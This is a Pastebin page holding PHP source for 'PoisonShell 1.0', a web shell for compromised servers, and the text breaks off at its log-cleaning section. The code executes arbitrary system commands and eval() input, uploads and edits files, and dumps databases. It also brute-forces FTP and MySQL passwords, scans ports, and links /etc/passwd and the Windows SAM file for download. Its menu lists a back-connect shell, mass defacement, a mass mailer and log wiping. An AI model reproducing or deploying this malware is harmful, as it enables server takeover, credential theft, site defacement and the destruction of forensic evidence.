Advertisement
Doddy

PoisonShell 1.0 (Identado)

Oct 8th, 2012
1,369
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 50.06 KB | None | 0 0
  1. <?php
  2.  
  3. error_reporting(0);
  4.  
  5. /*
  6.  
  7. Poison Shell 1.0
  8.  
  9. (C) Doddy Hackman 2012
  10.  
  11. Mail : lepuke[at]hotmail[com]
  12. Web : doddyhackman.webcindario.com
  13. Blog : doddy-hackman.blogspot.com
  14.  
  15. */
  16.  
  17. @session_start();
  18. $username = "098f6bcd4621d373cade4e832627b4f6"; //test
  19. $password = "098f6bcd4621d373cade4e832627b4f6"; //test
  20. if (isset($_POST['user'])) {
  21.     if (md5($_POST['user']) == $username && md5($_POST['pass']) == $password) {
  22.         $_SESSION['loginh'] = "1";
  23.     }
  24. }
  25. if (isset($_GET['chaunow'])) {
  26.     @session_destroy();
  27. }
  28. if ($_SESSION['loginh'] == 1) {
  29.     if (isset($_GET['info'])) {
  30.         die(phpinfo());
  31.     }
  32.     if (isset($_POST['sessionew'])) {
  33.         @session_start();
  34.         if ($_SESSION[$_POST['sessionew']] = $_POST['valor']) {
  35.             echo "<script>alert('Session created');</script>";
  36.         } else {
  37.             echo "<script>alert('Error');</script>";
  38.         }
  39.     }
  40.     function creditos() {
  41.         echo "<br><br></fieldset><br><br>"; // ventana termina
  42.         echo "<fieldset><center>-- == (C) Doddy Hackman 2012 || Contact : lepuke[at]hotmail[com] || Web : doddyhackman.webcindario.com == --</center></fieldset>";
  43.         exit(1);
  44.     }
  45.     if (isset($_GET['bajardb'])) {
  46.         $tod = @mysql_connect($_GET['host'], $_GET['usuario'], $_GET['password']);
  47.         mysql_select_db($_GET['bajardb']);
  48.         $resultado = mysql_query("SHOW TABLES FROM " . $_GET['bajardb']);
  49.         while ($tabla = mysql_fetch_row($resultado)) {
  50.             foreach($tabla as $indice => $valor) {
  51.                 $todo.= "<br><br>" . $valor . "<br><br>";
  52.                 $resultadox = mysql_query("SELECT * FROM " . $valor);
  53.                 $todo.= "<table border=1>";
  54.                 for ($i = 0;$i < mysql_num_fields($resultadox);$i++) {
  55.                     $todo.= "<th>" . mysql_field_name($resultadox, $i) . "</th>";
  56.                 }
  57.                 while ($dat = mysql_fetch_row($resultadox)) {
  58.                     $todo.= "<tr>";
  59.                     foreach($dat as $val) {
  60.                         $todo.= "<td >" . $val . "</td>";
  61.                     }
  62.                 }
  63.                 $todo.= "</tr></table>";
  64.             }
  65.         }
  66.         @mysql_free_result($tod);
  67.         @header("Content-type: application/vnd-ms-excel; charset=iso-8859-1");
  68.         @header("Content-Disposition: attachment; filename=" . date('d-m-Y') . ".xls");
  69.         echo $todo;
  70.         exit(1);
  71.     }
  72.     if (isset($_GET['bajartabla'])) {
  73.         $tod = mysql_connect($_GET['host'], $_GET['usuario'], $_GET['password']) or die("<h1>Error</h1>");
  74.         mysql_select_db($_GET['condb']);
  75.         if (!empty($_GET['sentencia'])) {
  76.             $resultado = mysql_query($_GET['sentencia']);
  77.         } else {
  78.             $resultado = mysql_query("SELECT * FROM " . $_GET['bajartabla']);
  79.         }
  80.         $todo.= "<table border=1>";
  81.         for ($i = 0;$i < mysql_num_fields($resultado);$i++) {
  82.             $todo.= "<th>" . mysql_field_name($resultado, $i) . "</th>";
  83.         }
  84.         while ($dat = mysql_fetch_row($resultado)) {
  85.             $todo.= "<tr>";
  86.             foreach($dat as $val) {
  87.                 $todo.= "<td>" . $val . "</td>";
  88.             }
  89.         }
  90.         @mysql_free_result($tod);
  91.         $todo.= "</tr></table>";
  92.         @header("Content-type: application/vnd-ms-excel; charset=iso-8859-1");
  93.         @header("Content-Disposition: attachment; filename=" . date('d-m-Y') . ".xls");
  94.         echo $todo;
  95.         exit(1);
  96.     }
  97.     if (isset($_GET['reload'])) {
  98.         $tipo = pathinfo($_GET['reload']);
  99.         echo '<meta http-equiv="refresh" content="0;URL=?dir=' . $tipo['dirname'] . '">';
  100.         creditos();
  101.     }
  102.     function dame($file) {
  103.         return substr(sprintf('%o', fileperms($file)), -4);
  104.     }
  105.     if (isset($_GET['down'])) {
  106.         header("Content-Type: application/octet-stream");
  107.         header("Content-Disposition: attachment; filename=" . basename($_GET['down']));
  108.         readfile($_GET['down']);
  109.         exit(0);
  110.     }
  111.     if (isset($_POST['cookienew'])) {
  112.         if (setcookie($_POST['cookienew'], $_POST['valor'])) {
  113.             echo "<script>alert('Cookie cREATED');</script>";
  114.             echo '<meta http-equiv="refresh" content="0;URL=?cookiemanager">';
  115.         } else {
  116.             echo "<script>alert('Error');</script>";
  117.         }
  118.     }
  119.     echo '<style type="text/css">
  120.  
  121.  
  122. .main {
  123. margin            : -287px 0px 0px -490px;
  124. border            : White solid 1px;
  125. BORDER-COLOR: #00FF00;
  126. }
  127.  
  128.  
  129. #pie {
  130. position: absolute;
  131. bottom: 0;
  132. }
  133.  
  134. body,a:link {
  135. background-color: #000000;
  136. color:#00FF00;
  137. Courier New;
  138. cursor:crosshair;
  139. font-size: small;
  140. }
  141.  
  142. input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
  143. font: normal 10px Verdana, Arial, Helvetica,
  144. sans-serif;
  145. background-color:black;color:#00FF00;
  146. border: solid 1px #00FF00;
  147. border-color:#00FF00
  148. }
  149.  
  150. a:link,a:visited,a:active {
  151. color: #00FF00;
  152. font: normal 10px Verdana, Arial, Helvetica,
  153. sans-serif;
  154. text-decoration: none;
  155. }
  156.  
  157. </style>';
  158.     echo "<title>" . $_SERVER["SERVER_NAME"] . " - PoisonShell</title>";
  159.     $verdad = php_uname('s') . php_uname('r');
  160.     $link = "http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=" . $verdad . "&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
  161.     echo "<center><table><tr><td class=main><br><h2>&nbsp;&nbsp;&nbsp;PoisonShell&nbsp;&nbsp;&nbsp;</h2><br></td><td class=main>
  162. <b>System</b> : <a href='" . $link . "'>" . $verdad . "</a> " . " " . php_uname('v') . "<br><b>Server</b> : " . $_SERVER['SERVER_SOFTWARE'] . "<br>";
  163.     if (file_exists("C:/WINDOWS/repair/sam")) {
  164.         echo "<b>File Found : </b><a href=?down=C:/WINDOWS/repair/sam>SAM</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  165.     }
  166.     if (file_exists("/etc/passwd")) {
  167.         echo "<b>File Found : </b><a href=?down=/etc/passwd>/etc/passwd</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  168.     }
  169.     echo "<b>IP</b> : " . $_SERVER['SERVER_ADDR'] . "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  170. <b>User</b> : uid=" . getmyuid() . " (" . get_current_user() . ") gid=" . getmygid() . "&nbsp;&nbsp;&nbsp;
  171. <b>Path</b> : " . getcwd() . "&nbsp;&nbsp;&nbsp;
  172. <b>Version PHP</b> : " . phpversion() . "<br>";
  173.     if (ini_get('safe_mode') == 0) {
  174.         echo "<b>Safe Mode</b> : OFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  175.     } else {
  176.         echo "<b>Safe Mode</b> : ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  177.     }
  178.     if (get_magic_quotes_gpc() == "1" or get_magic_quotes_gpc() == "on") {
  179.         echo "<b>Magic Quotes</b> : ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  180.     } else {
  181.         echo "<b>Magic Quotes</b> : OFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  182.     }
  183.     exec("perl -h", $perl);
  184.     if ($perl) {
  185.         echo "<b>Perl</b> : ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  186.     } else {
  187.         echo "<b>Perl</b> : OFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  188.     }
  189.     exec("wget --help", $wget);
  190.     if ($wget) {
  191.         echo "<b>WGET</b> : ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  192.     } else {
  193.         echo "<b>WGET</b> : OFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  194.     }
  195.     exec("curl_version", $curl);
  196.     if ($curl) {
  197.         echo "<b>CURL</b> : ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  198.     } else {
  199.         echo "<b>CURL</b> : OFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  200.     }
  201.     echo "</tr></td></table></center><br>";
  202.     echo "
  203.  
  204. <center>
  205. <table>
  206. <td class=main><a href=?dir=>Navigate</a></td><td class=main><a href=?cmd=>CMD</a></td>
  207. <td class=main><a href=?upload=>Upload</a></td><td class=main><a href=?base64=>Base64</a></td>
  208. <td class=main><a href=?phpconsole=>Eval</a></td><td class=main><a href=?info=>phpinfo</a></td>
  209. <td class=main><a href=?bomber=>Mailer</a></td><td class=main><a href=?cracker=>Crackers</a></td>
  210. <td class=main><a href=?proxy=>ProxyWeb</a></td>
  211. <td class=main><a href=?port=>PortScan</a></td><td class=main><a href=?md5=>Encodes</a></td>
  212. <td class=main><a href=?md5crack=>MD5Cracker</a></td>
  213. <td class=main><a href=?backshell>BackShell</a></td><td class=main><a href=?mass=>MassDefacement</a></td>
  214. <td class=main><a href=?logs=>CleanLogs</a></td><td class=main><a href=?ftp=>FTP</a></td>
  215. <td class=main><a href=?sql=>SQL</a></td><td class=main><a href=?cookiemanager=>Cookies</a></td>
  216. <td class=main><a href=?sessionmanager=>Session</a></td>
  217. <td class=main><a href=?chau=>DestroyMe</a></td>
  218. </table>
  219. </center>
  220. <br><br>
  221. ";
  222.     echo "<fieldset><br>"; //ventana inicia
  223.     //and count($_POST) == 0
  224.     if (count($_GET) == 0) {
  225.         echo <<<_HTML_
  226. <center><pre>
  227.                                            
  228.                                            
  229.                  ¾¾¾¾¾¾¾¾¾¾¾              
  230.              ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾          
  231.            ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾          
  232.          ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾        
  233.          ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾        
  234.         ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾      
  235.        ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾      
  236.        ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾      
  237.        ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾      
  238.         ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾      
  239.         ¾¾¾¾¾¾¾  ¾¾¾¾¾¾¾¾¾¾¾    ¾¾¾¾      
  240.          ¾¾¾¾       ¾¾¾¾¾¾      ¾¾¾¾      
  241.           ¾¾¾      ¾¾¾ ¾¾¾      ¾¾¾        
  242.           ¾¾¾¾¾¾¾¾¾¾¾   ¾¾¾   ¾¾¾¾        
  243.            ¾¾¾¾¾¾¾¾¾     ¾¾¾¾¾¾¾¾¾        
  244.            ¾¾¾¾¾¾¾¾¾  ¾  ¾¾¾¾¾¾¾¾¾        
  245.            ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾        
  246.                 ¾¾¾¾¾¾¾¾¾¾¾¾¾              
  247.               ¾  ¾¾¾¾¾¾¾¾¾¾  ¾            
  248.               ¾    ¾ ¾¾¾¾ ¾  ¾            
  249.               ¾ ¾¾          ¾¾            
  250.      ¾¾¾      ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾            
  251.     ¾¾¾¾¾      ¾¾¾¾¾¾¾¾¾¾¾¾¾¾      ¾¾¾    
  252.     ¾¾¾¾¾¾¾      ¾¾¾¾¾¾¾¾¾¾¾      ¾¾¾¾¾¾  
  253.     ¾¾¾¾¾¾¾¾¾¾      ¾¾¾         ¾¾¾¾¾¾¾¾¾  
  254.      ¾¾¾  ¾¾¾¾¾¾             ¾¾¾¾¾¾¾¾¾¾¾  
  255.               ¾¾¾¾¾¾     ¾¾¾¾¾¾¾          
  256.                  ¾¾¾¾¾¾¾¾¾¾¾¾              
  257.                   ¾¾¾¾¾¾¾¾¾                
  258.                ¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾            
  259.            ¾¾¾¾¾¾¾         ¾¾¾¾¾¾¾        
  260.        ¾¾¾¾¾¾¾                ¾¾¾¾¾¾¾¾¾¾  
  261.   ¾¾¾¾¾¾¾¾                       ¾¾¾¾¾¾¾¾  
  262.   ¾¾¾¾¾¾                           ¾¾¾¾¾¾  
  263.    ¾¾¾¾                             ¾¾¾¾  
  264.                                            
  265.                                            
  266.                                            
  267. </pre></center>                                                            
  268. _HTML_;
  269.        
  270.     }
  271.     if (isset($_GET['cracker'])) {
  272.         echo "
  273. <h2><center>Multi Cracker</center></h2><br>
  274. <form action='' method=POST>
  275. <center><table border=1>
  276. <td><b>Host : </b></td><td><input type=text name=host value=localhost></td><tr>
  277. <td><b>User : </b></td><td><input type=text name=user value=doddy></td><tr>
  278. <td><b>Wordlist : </b></td><td><input type=text name=passnow value='c:/aca.txt'></td><tr>
  279. <td><b>Service : </b></td><td><select name=services><option>FTP</option><option>MYSQL</option></select></td><tr>
  280. </table><br><br><input type=submit value=Crack><br><br></center>
  281. </form>
  282.  
  283. ";
  284.         if (isset($_POST['passnow'])) {
  285.             $open = fopen($_POST['passnow'], "r");
  286.             echo "<br><br><fieldset><center>";
  287.             echo "<br>[+] Starting the crack<br><br>";
  288.             if ($_POST['services'] == "FTP") {
  289.                 echo "[+] Service : FTP<br><br>";
  290.                 while (!feof($open)) {
  291.                     $word = fgets($open, 255);
  292.                     $linea = chop($word);
  293.                     if ($enter = ftp_connect($_POST['host'])) {
  294.                         if ($dentro = ftp_login($enter, $_POST['user'], $linea)) {
  295.                             echo "[+] User : " . $_POST['user'] . "<br>";
  296.                             echo "[+] Pass : " . $linea . "<br>";
  297.                             fclose($open);
  298.                             ftp_close($enter);
  299.                             echo "<br><br>[+] Scan Finished<br><br>";
  300.                             creditos();
  301.                         }
  302.                     }
  303.                 }
  304.                 echo "<br><br>[+] Scan Finished<br><br>";
  305.             }
  306.             if ($_POST['services'] == "MYSQL") {
  307.                 echo "[+] Service : MYSQL<br><br>";
  308.                 while (!feof($open)) {
  309.                     $word = fgets($open, 255);
  310.                     $linea = chop($word);
  311.                     if (mysql_connect($_POST['host'], $_POST['user'], $linea)) {
  312.                         echo "[+] User : " . $_POST['user'] . "<br>";
  313.                         echo "[+] Pass : " . $linea . "<br>";
  314.                         fclose($open);
  315.                         mysql_close();
  316.                         echo "<br><br>[+] Scan Finished<br><br>";
  317.                         creditos();
  318.                     }
  319.                 }
  320.                 echo "<br><br>[+] Scan Finished<br><br>";
  321.             }
  322.         }
  323.     }
  324.     if (!empty($_GET['hostar'])) {
  325.         @set_time_limit(5);
  326.         echo "<center><h2>PortScan</h2></center><br><br>";
  327.         echo "<fieldset>";
  328.         echo "[+] <b>Target : </b>" . $_GET['hostar'] . "<br>";
  329.         echo "[+] <b>Scan to : </b>" . $_GET['start'] . "-" . $_GET['end'] . "<br><br>";
  330.         for ($i = $_GET['start'];$i < $_GET['end'];$i++) {
  331.             $re = @fsockopen($_GET['hostar'], $i, $errno, $errstr, 1);
  332.             if ($re) {
  333.                 echo "<b>[+] Port Found : </b>" . $i . "<br>";
  334.             }
  335.         }
  336.         echo "<br><br><b>[+] Scan Finished</b><br><br>";
  337.         echo "</fieldset>";
  338.     }
  339.     if (isset($_GET['port'])) {
  340.         echo "<center><h2>ScanPort</h2></center><br><br>";
  341.         echo "<center>
  342. <form action='' method=GET>
  343. <table border=1>
  344. <td><b>Host : </b></td><td><input type=text name=hostar value=localhost></td><tr>
  345. <td><b>Port Start : </b></td><td><input type=text name=start value=79></td><tr>
  346. <td><b>Port End : </b></td></b><td><input type=text name=end value=82></td><tr>
  347. </table><br>
  348. <input type=submit value=Scan>
  349. </form></center>
  350. <br>";
  351.     }
  352.     if (isset($_GET['proxy'])) {
  353.         echo "<center><h2>Simple ProxyWeb</h2></center><br><br>";
  354.         echo "<center><form action='' method=GET>";
  355.         echo "<b>Web : </b><input type=text size=40 name=proxy value=http://localhost/sql.php><input type=submit value=Get>";
  356.         echo "</form></center>";
  357.         $code = @file_get_contents($_GET['proxy']);
  358.         if ($code) {
  359.             echo "<br><br><fieldset>" . $code . "<br><br></fieldset>";
  360.         }
  361.     }
  362.     if (isset($_GET['md5'])) {
  363.         echo "<form action='' method=POST>
  364. <b>Text :</b> <input type=text name=tex value=test><select name=optionsa><option>MD5</option><option>SHA1</option><option>CRC32</option></select><input type=submit value=Encode>
  365. </form>
  366. ";
  367.     }
  368.     if (isset($_POST['tex'])) {
  369.         echo "<br><br>Result<br><br><fieldset>";
  370.         if ($_POST['optionsa'] == "MD5") {
  371.             echo md5($_POST['tex']);
  372.         }
  373.         if ($_POST['optionsa'] == "SHA1") {
  374.             echo sha1($_POST['tex']);
  375.         }
  376.         if ($_POST['optionsa'] == "CRC32") {
  377.             printf("%u\n", crc32($_POST['tex']));
  378.         }
  379.         echo "</fieldset>";
  380.     }
  381.     if (isset($_GET['perms'])) {
  382.         echo "
  383. <form action='' method=POST>
  384. <b>File :</b> <input type=text name=archivo value=" . $_GET['perms'] . ">
  385. <br>
  386. Perms : <input type=text name=perms value=" . dame($_GET['perms']) . "
  387. <br><br>
  388. <br><input type=submit name=cambiarperms value=Change>
  389. </form>
  390. ";
  391.     }
  392.     if (isset($_POST['cambiarperms'])) {
  393.         if (chmod($_POST['archivo'], $_POST['perms'])) {
  394.             echo "<script>alert('cHANGED');</script>";
  395.         } else {
  396.             echo "<script>alert('Error');</script>";
  397.         }
  398.         echo "<br><br><font color=red><center><a href=?reload=" . urlencode($_POST['archivo']) . ">Atras</a><br><br></font>
  399. ";
  400.     }
  401.     if (isset($_GET['ren'])) {
  402.         echo "
  403. <form action='' method=POST>
  404. File : <input type=text name=nombre value=" . $_GET['ren'] . "><br>
  405. Change to : <input type=text name=cambio><br><BR>
  406. <input type=submit name=cambios value=Change><BR>
  407. </form>
  408. ";
  409.     }
  410.     if (isset($_POST['cambios'])) {
  411.         if (@rename($_POST['nombre'], $_POST['cambio'])) {
  412.             echo "<script>alert('Changed');</script>";
  413.         } else {
  414.             echo "<script>alert('Error');</script>";
  415.         }
  416.         echo "<br><br><font color=red><center><a href=?reload=" . urlencode($_POST['cambios']) . ">Atras</a><br><br></font></center>";
  417.     }
  418.     if (isset($_POST['crear1'])) {
  419.         chdir($_POST['dir']);
  420.         if (fopen($_POST['crear1'], "w")) {
  421.             echo "<script>alert('File cREATED');</script>";
  422.         } else {
  423.             echo "<script>alert('Error');</script>";
  424.         }
  425.     }
  426.     if (isset($_POST['crear2'])) {
  427.         chdir($_POST['dir']);
  428.         if (@mkdir($_POST['crear2'], 777)) {
  429.             echo "<script>alert('Directory created');</script>";
  430.         } else {
  431.             echo "<script>alert('Error');</script>";
  432.         }
  433.     }
  434.     if (isset($_GET['copiar'])) {
  435.         echo '
  436. <form action="" method=POST>
  437. File : <input type=text name=archivo value=' . $_GET['copiar'] . '><br>
  438. Copy to : <input type=text name=nuevo><br><br>
  439. <input type=submit name=copiado value=Copy><BR>
  440. </form>
  441. ';
  442.     }
  443.     if (isset($_POST['copiado'])) {
  444.         if (copy($_POST['archivo'], $_POST['nuevo'])) {
  445.             echo "<script>alert('OK');</script>";
  446.         } else {
  447.             echo "<script>alert('Error');</script>";
  448.         }
  449.         echo "<br><br><font color=red><center><a href=?reload=" . urlencode($_POST['archivo']) . ">Atras</a><br><br></font></center>";
  450.     }
  451.     if (isset($_GET['open'])) {
  452.         echo "<form action='' method=POST>";
  453.         echo "<center>";
  454.         echo "<textarea cols=80 rows=40 name=code>";
  455.         $archivo = file($_GET['open']);
  456.         foreach($archivo as $n => $sub) {
  457.             $texto = htmlspecialchars($sub);
  458.             echo $texto;
  459.         }
  460.         echo "</textarea></center>";
  461.         echo "<br><br><center><input type=submit value=Save name=modificar></center><br><br>";
  462.         echo "</form>";
  463.     }
  464.     if (isset($_POST['modificar'])) {
  465.         $modi = fopen($_GET['open'], 'w+');
  466.         if ($yeah = fwrite($modi, $_POST['code'])) {
  467.             echo "<script>alert('OK');</script>";
  468.         } else {
  469.             echo "<script>alert('Error');</script>";
  470.         }
  471.         echo "<br><br><font color=red><center><a href=?reload=" . urlencode($_GET['open']) . ">Atras</a><br><br></font></center>";
  472.     }
  473.     if (isset($_POST['options'])) {
  474.         $files = $_POST['valor'];
  475.         if ($_POST['options'] == "Delete") {
  476.             foreach($files as $file) {
  477.                 if (filetype($file) == "dir") {
  478.                     @rmdir($file);
  479.                 } else {
  480.                     @unlink($file);
  481.                 }
  482.             }
  483.             echo '<meta http-equiv=Refresh content="0;url=?dir=' . urlencode($dir->path) . '">';
  484.             echo "<script>alert('Files Deleted');</script>";
  485.         }
  486.         if ($_POST['options'] == "Download") {
  487.             foreach($files as $file) {
  488.                 echo '<meta http-equiv=Refresh content="0;url=?down=' . $file . '">';
  489.                 exit(0);
  490.             }
  491.         }
  492.         if ($_POST['options'] == "Copy") {
  493.             echo "<form action='' method=POST>";
  494.             foreach($files as $file) {
  495.                 echo 'Name : <input type=text name=rutax[] value="' . $file . '"> To : <input type=text name=cambiax[] value="' . $file . '"><br>';
  496.             }
  497.             echo "<br><br><input type=submit value=Copy>";
  498.             echo "</form>";
  499.             exit(0);
  500.         }
  501.         if ($_POST['options'] == "Move") {
  502.             echo "<form action='' method=POST>";
  503.             foreach($files as $file) {
  504.                 echo 'Name : <input type=text name=rutas[] value="' . $file . '"> To : <input type=text name=cambiar[] value="' . $file . '"><br>';
  505.             }
  506.             echo "<br><br><input type=submit name=mirameboludo value=Move>";
  507.             echo "</form>";
  508.             creditos();
  509.         }
  510.     }
  511.     if (isset($_POST['rutax'])) {
  512.         $tengo = count($_POST['rutax']);
  513.         for ($i = 0;$i <= $tengo;$i++) {
  514.             @copy($_POST['rutax'][$i], $_POST['cambiax'][$i]);
  515.         }
  516.         echo "<script>alert('Files copied');</script>";
  517.     }
  518.     if (isset($_POST['mirameboludo'])) {
  519.         $tengo = count($_POST['rutas']);
  520.         for ($i = 0;$i <= $tengo;$i++) {
  521.             @rename($_POST['rutas'][$i], $_POST['cambiar'][$i]);
  522.         }
  523.         echo "<script>alert('Files moved');</script>";
  524.     }
  525.     if (isset($_GET['dir'])) {
  526.         if ($_GET['dir'] == "") {
  527.             $path = getcwd();
  528.             @chdir($path);
  529.             $dir = @dir($path);
  530.         } else {
  531.             $path = $_GET['dir'];
  532.             @chdir($path);
  533.             $dir = @dir($path);
  534.         }
  535.         $scans = range("B", "Z");
  536.         echo "<b>Detect Drives : </b>";
  537.         foreach($scans as $drive) {
  538.             $drive = $drive . ":\\";
  539.             if (is_dir($drive)) {
  540.                 echo "&nbsp;&nbsp;" . "<a href=?dir=" . $drive . ">" . $drive . "</a>";
  541.             }
  542.         }
  543.         echo "
  544. <br><br>
  545. <form action='' method=GET>
  546. <b>Directory</b> : <input type=text name=dir value='" . $path . "'><input type=submit name=ir value=Enter>
  547. </form>
  548. <br><br>
  549. <form action='' method=POST>
  550. <b>New File</b> : <input type=text name=crear1><input type=hidden name=dir value=" . $dir->path . "><input type=submit value=Make>
  551. </form>
  552. <form action='' method=POST>
  553. <b>New Directory</b> : <input type=text name=crear2><input type=hidden name=dir value=" . $dir->path . "><input type=submit value=Make>
  554. </form><br><br>
  555. ";
  556.         $archivos = array('dir' => array(), 'file' => array());
  557.         while ($archivo = $dir->read()) {
  558.             $ver = @filetype($path . '/' . $archivo);
  559.             if ($ver == "dir") {
  560.                 $archivos['dir'][] = $path . '/' . $archivo;
  561.             } else {
  562.                 $archivos['file'][] = $path . '/' . $archivo;
  563.             }
  564.         }
  565.         $dir->rewind();
  566.         if (count($archivos['dir']) == 0 and count($archivos['file'] == 0)) {
  567.             echo "<script>alert('Directory empty');/<script>";
  568.         }
  569.         echo "<form action='' method=POST>";
  570.         echo "<br><b>Directory Found</b> : " . count($archivos['dir']) . "<br>";
  571.         echo "<b>Files Found</b> : " . count($archivos['file']) . "<br><br><br>";
  572.         echo "<table bgcolor=#00FF00 border=1>";
  573.         echo "<td width=100>Name</td><td width=100>Type</td><td width=100>Modification time</td>";
  574.         echo "<td width=100>Perms</td><td width=100>Action</td>";
  575.         echo "<tr>";
  576.         foreach($archivos['dir'] as $dirs) {
  577.             $dirsx = pathinfo($dirs);
  578.             echo "<td width=100><a href=?dir=" . urlencode($dirs) . ">" . urlencode($dirsx['basename']) . "</a></td>";
  579.             echo "<td width=100>Directory</td>";
  580.             echo "<td width=100>" . date("F d Y H:i:s", fileatime($dirs)) . "</td>";
  581.             echo "<td width=100><a href=?perms=" . $dirs . ">" . dame($dirs) . "</a></td>";
  582.             echo "<td><input type=checkbox name=valor[] value=" . $dirs . "></td>";
  583.             echo "</tr><tr>";
  584.         }
  585.         foreach($archivos['file'] as $files) {
  586.             $filex = pathinfo($files);
  587.             echo "<td width=100><a href=?open=" . urlencode($files) . ">" . urlencode($filex['basename']) . "</a></td>";
  588.             echo "<td width=100>File</td>";
  589.             echo "<td width=100>" . date("F d Y H:i:s", fileatime($files)) . "</td>";
  590.             echo "<td width=100><a href=?perms=" . $files . ">" . dame($files) . "</a></td>";
  591.             echo "<td><input type=checkbox name=valor[] value=" . $files . "></td>";
  592.             echo "</tr><tr>";
  593.         }
  594.         echo "</table>";
  595.         echo "<br><br>
  596. Options :
  597. <select name=options>
  598. <option>Delete</option>
  599. <option>Move</option>  
  600. <option>Copy</option>
  601. <option>Download</option>
  602. </select>&nbsp;&nbsp;<input type=submit value=Ok></form>";
  603.     }
  604.     if (isset($_GET['cmd'])) {
  605.         echo '<center><h2>Console</h2><br>
  606. <form action="" method=POST>
  607. <b>Command : </b><input type=text name=comando size=50><input type=submit name=ejecutar value=Now>
  608. </form></center>
  609. ';
  610.     }
  611.     if (isset($_POST['ejecutar'])) {
  612.         echo '<center><br>
  613. <br><br>Command<br><br>
  614. <fieldset>
  615. ' . $_POST['comando'] . '</fieldset>
  616. <br><br>Result<br><br><fieldset>';
  617.         if (!system($_POST['comando'])) {
  618.             echo "<script>alert('Error loading command');</script>";
  619.             echo "Error";
  620.         }
  621.         echo "</center><br><br></fieldset><br><br>";
  622.     }
  623.     if (isset($_GET['upload'])) {
  624.         echo "<center><h2>Upload files</h2></center><center><br><br><br>";
  625.         echo '
  626. <form enctype="multipart/form-data" action="" method=POST>
  627. <b>File : </b><input type=file name=archivo><br><br>    
  628. <b>Directory : </b><input type=text name=destino value=' . getcwd() . '>
  629. <input type=submit value=Upload><br>
  630. </form>';
  631.         if (isset($_FILES['archivo'])) {
  632.             $subimos = basename($_FILES['archivo']['name']);
  633.             if (move_uploaded_file($_FILES['archivo']['tmp_name'], $subimos)) {
  634.                 if (copy($subimos, $_POST['destino'] . "/" . $subimos)) {
  635.                     unlink($subimos);
  636.                     echo "<script>alert('File uploaded');</script>";
  637.                 }
  638.             } else {
  639.                 echo "<script>alert('Error');</script>";
  640.             }
  641.         }
  642.     }
  643.     if (isset($_GET['base64'])) {
  644.         echo '<center><h2>Base64 encode/decoder</h2><br>
  645. <form action="" method=POST>
  646. <b>Encode :</b> <input type=text name=code size=50><input type=submit name=codificar value=Encode>
  647. </form>
  648. <form action="" method=POST>
  649. <b>Decode :</b> <input type=text name=decode size=50><input type=submit name=decodificar value=Decode>
  650. </form></center>
  651. ';
  652.     }
  653.     if (isset($_POST['codificar'])) {
  654.         echo "<center>";
  655.         echo "<br><br>Text<br><br><fieldset>" . $_POST['code'] . "</fieldset><br><br>Result<br><br><fieldset>";
  656.         echo base64_encode($_POST['code']);
  657.         echo "</fieldset></center><br><br>";
  658.     }
  659.     if (isset($_POST['decodificar'])) {
  660.         echo "<center><br><br>Text<br><br><fieldset>" . $_POST['decode'] . "</fieldset><br><br>Result<br><br><fieldset>";
  661.         echo base64_decode($_POST['decode']);
  662.         echo "</fieldset></center><br><br>";
  663.     }
  664.     if (isset($_GET['phpconsole'])) {
  665.         echo '<center><h2>Function eval()</h2><center><br>
  666. <form action="" method=POST>
  667. <b>Code :</b> <input type=text name=codigo size="70"><input type=submit name=cargar value=OK>
  668. </form>
  669. ';
  670.     }
  671.     if (isset($_POST['cargar'])) {
  672.         echo "<br><br>Code<br><br>
  673. <fieldset>
  674. " . $_POST['codigo'] . "
  675. </fieldset>
  676. <br><br>
  677. Result<br><br>
  678. <fieldset>";
  679.         eval($_POST['codigo']);
  680.         echo "</fieldset>
  681. ";
  682.     }
  683.     if (isset($_GET['logs'])) {
  684.         echo '
  685. <br><br><center><h3>Zapper</h3>
  686. <br><br>
  687. <form action="" method=GET>
  688. <input type=submit name=clean value=Start>
  689. </form></center>
  690. <br><br>
  691. ';
  692.     }
  693.     if (isset($_GET['clean'])) {
